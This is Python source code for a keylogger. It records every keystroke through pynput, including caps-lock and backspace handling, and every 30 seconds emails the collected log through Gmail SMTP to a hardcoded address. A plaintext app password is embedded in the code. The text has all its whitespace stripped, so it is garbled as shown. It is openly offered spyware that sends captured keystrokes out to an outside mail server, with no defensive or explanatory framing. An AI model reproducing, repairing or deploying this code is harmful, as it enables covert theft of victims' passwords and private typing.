importpynput.keyboardimportthreadingimportsmtplibimportkeyboardfromtermcolorimportcoloredfromemail.mime.textimportMIMETextclassKeylogger:def__init__(self):self.log=""self.list_log=[]self.request_shutdown=Falseself.timer=Noneself.is_first_run=Trueself.is_mayus=Truedefpressed_key(self,key):ifkeyboard.is_pressed('caps lock'):ifnotself.is_mayus:self.is_mayus=Trueelifself.is_mayus:self.is_mayus=Falsetry:ifself.is_mayus:self.list_log.append(key.char)self.log=''.join(self.list_log)else:self.list_log.append(key.char.upper())self.log=''.join(self.list_log)exceptAttributeError:special_keys={key.space:" ",key.caps_lock:"",key.enter:" Enter ",key.shift:" Shift ",key.ctrl:" Ctrl ",key.alt:" Alt "}ifkey!=key.backspace:self.list_log.append(special_keys.get(key,f" {str(key)} "))self.log=''.join(self.list_log)elifkey==key.backspace:try:self.list_log.pop()self.log=''.join(self.list_log)except:self.list_log.clear()self.log=''.join(self.list_log)defsend_email(self,subject,body,sender,recipients,password):msg=MIMEText(body)msg['Subject']=subjectmsg['From']=sendermsg['To']=', '.join(recipients)withsmtplib.SMTP_SSL('smtp.gmail.com',465)assmtp_server:smtp_server.login(sender,password)smtp_server.sendmail(sender,recipients,msg.as_string())defreport(self):email_body="[+] El keylogger se ha iniciado exitosamente"ifself.is_first_runelseself.logself.send_email("Keylogger Report",email_body,"nockeylogger@gmail.com",["nockeylogger@gmail.com"],"ezro xvah ctgy qhlt")self.list_log.clear()self.log=""ifself.is_first_run:self.is_first_run=Falseifnotself.request_shutdown:self.timer=threading.Timer(30,self.report)self.timer.start()defshutdown(self):self.request_shutdown=Trueifself.timer:self.timer.cancel()defstart(self):keyboard_listener=pynput.keyboard.Listener(on_press=self.pressed_key)withkeyboard_listener:self.report()keyboard_listener.join()if__name__=='__main__':my_keylogger=Keylogger()my_keylogger.start()